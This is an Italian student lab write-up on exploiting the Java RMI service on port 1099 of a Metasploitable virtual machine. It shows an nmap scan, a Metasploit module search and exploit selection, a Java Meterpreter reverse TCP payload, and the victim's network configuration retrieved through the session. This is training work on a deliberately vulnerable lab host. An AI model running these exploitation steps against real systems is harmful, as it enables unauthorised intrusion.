

# PROGETTO S7/L5

## Configurazione ambiente virtuale

Per configurare l'ambiente virtuale è stato impostato nella macchina Kali l'indirizzo IP: 192.168.11.111 e in quella di Metasploitable l'indirizzo IP: 192.168.11.112, una volta messi in comunicazione siamo partiti con l'utilizzo di nmap:

```
(kali@kali)-[~]
$ nmap -Pn 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 07:19 EST
Nmap scan report for 192.168.11.112
Host is up (0.012s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
```

**Nmap**, strumento potente e versatile per la sicurezza delle reti e la gestione di sistemi. È ampiamente utilizzato per testare la sicurezza delle reti, identificare vulnerabilità e monitorare le configurazioni della rete. Con questo strumento abbiamo scansato l'indirizzo IP target, della macchina di Metasploitable, tra le tante vulnerabilità prendiamo in considerazione il servizio della porta 1099 - Java RMI.

Per sfruttare questo servizio vulnerabile viene utilizzato **Metasploit**, framework di test di penetrazione, utilizzato per sviluppare e eseguire exploit contro sistemi remoti. È uno strumento molto potente e versatile, utilizzato per identificare e sfruttare vulnerabilità nei sistemi.

```

msf6 > search rmiregistry
Matching Modules
=====
#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuratio
n Java Code Execution
1  \_ target: Generic (Java Payload)         .               .         .       .
2  \_ target: Windows x86 (Native Payload)   .               .         .       .
3  \_ target: Linux x86 (Native Payload)     .               .         .       .
4  \_ target: Mac OS X PPC (Native Payload)  .               .         .       .
5  \_ target: Mac OS X x86 (Native Payload)  .               .         .       .

Interact with a module by name or index. For example info 5, use 5 or use exploit/multi/misc/java_rmi_server
After interacting with a module you can manually set a TARGET with set TARGET 'Mac OS X x86 (Native Payload)'

msf6 > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

```

Prima di tutto si ricerca un **EXPLOIT** per il servizio in questione. Un exploit è un programma, un codice o una sequenza di comandi che sfrutta una vulnerabilità presente in un software, un sistema operativo o un'applicazione per ottenere risultati non autorizzati, a differenza del malware che è un codice malevolo che si va ad insinuare in un programma o codice vulnerabile.. Spesso, gli exploit sono proprio un mezzo per introdurre malware nei sistemi target.

Tra le varie funzionalità che hanno gli exploit sicuramente possiamo ottenere accesso a sistemi o reti protette, eseguire comandi o programmi non autorizzati su un sistema, rubare informazioni sensibili, stabilire un accesso persistente a un sistema compromesso.

```

msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/bind_aws_instance_connect .              normal No      Unix SSH Shell, Bind Instance Connect (via AWS
API)
1  payload/generic/custom                  .              normal No      Custom Payload
2  payload/generic/shell_bind_aws_ssm      .              normal No      Command Shell, Bind SSM (via AWS API)
3  payload/generic/shell_bind_tcp          .              normal No      Generic Command Shell, Bind TCP Inline
4  payload/generic/shell_reverse_tcp       .              normal No      Generic Command Shell, Reverse TCP Inline
5  payload/generic/ssh/interact            .              normal No      Interact with Established SSH Connection
6  payload/java/jsp_shell_bind_tcp         .              normal No      Java JSP Command Shell, Bind TCP Inline
7  payload/java/jsp_shell_reverse_tcp      .              normal No      Java JSP Command Shell, Reverse TCP Inline
8  payload/java/meterpreter/bind_tcp       .              normal No      Java Meterpreter, Java Bind TCP Stager
9  payload/java/meterpreter/reverse_http   .              normal No      Java Meterpreter, Java Reverse HTTP Stager
10 payload/java/meterpreter/reverse_https  .              normal No      Java Meterpreter, Java Reverse HTTPS Stager
11 payload/java/meterpreter/reverse_tcp    .              normal No      Java Meterpreter, Java Reverse TCP Stager
12 payload/java/shell/bind_tcp            .              normal No      Command Shell, Java Bind TCP Stager
13 payload/java/shell/reverse_tcp         .              normal No      Command Shell, Java Reverse TCP Stager
14 payload/java/shell_reverse_tcp         .              normal No      Java Command Shell, Reverse TCP Inline
15 payload/multi/meterpreter/reverse_http .              normal No      Architecture-Independent Meterpreter Stage, Rev
erse HTTP Stager (Multiple Architectures)
16 payload/multi/meterpreter/reverse_https .              normal No      Architecture-Independent Meterpreter Stage, Rev
erse HTTPS Stager (Multiple Architectures)

msf6 exploit(multi/misc/java_rmi_server) > use 0
[*] Using configured payload java/meterpreter/reverse_tcp

```

Una volta scelto l'exploit dobbiamo selezionare il **PAYLOAD** da utilizzare, che è una parte di un attacco informatico che viene consegnata a un sistema target, una volta che un exploit ha avuto successo. Quindi il payload è il codice o il programma che viene eseguito dopo che una vulnerabilità è stata sfruttata, e ha come obiettivo eseguire azioni dannose o non autorizzate sul sistema compromesso.

```
meterpreter > ip route
[!] Unknown command: ip. Run the help command for more details.
meterpreter > route
```

#### IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

#### IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
2a0d:3344:3239:2b10:a00:27ff:fee4:6fd3	::	::		
fdc1:5ae8:b4dc:10:a00:27ff:fee4:6fd3	::	::		
fe80::a00:27ff:fee4:6fd3	::	::		

```
meterpreter > ifconfig

Interface 1
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fdc1:5ae8:b4dc:10:a00:27ff:fee4:6fd3
IPv6 Netmask : ::
IPv6 Address : 2a0d:3344:3239:2b10:a00:27ff:fee4:6fd3
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fee4:6fd3
IPv6 Netmask : ::
```

L'obiettivo dell'esercitazione era quello di ottenere, la **configurazione di rete** della macchina vittima, che fornisce dettagli come gli indirizzi IP, le subnet mask e le informazioni sui gateway. e informazioni sulla **tabella di routing** del target, che contiene le informazioni necessarie per instradare i pacchetti di dati verso le destinazioni appropriate.

## Conclusione

In questo esercizio, abbiamo utilizzato Metasploit per sfruttare una vulnerabilità nel servizio Java RMI sulla porta 1099 della macchina Metasploitable.

Attraverso l'ottenimento di una sessione Meterpreter, abbiamo avuto accesso alla macchina remota, consentendoci di raccogliere informazioni preziose sulla configurazione di rete e sulla tabella di routing.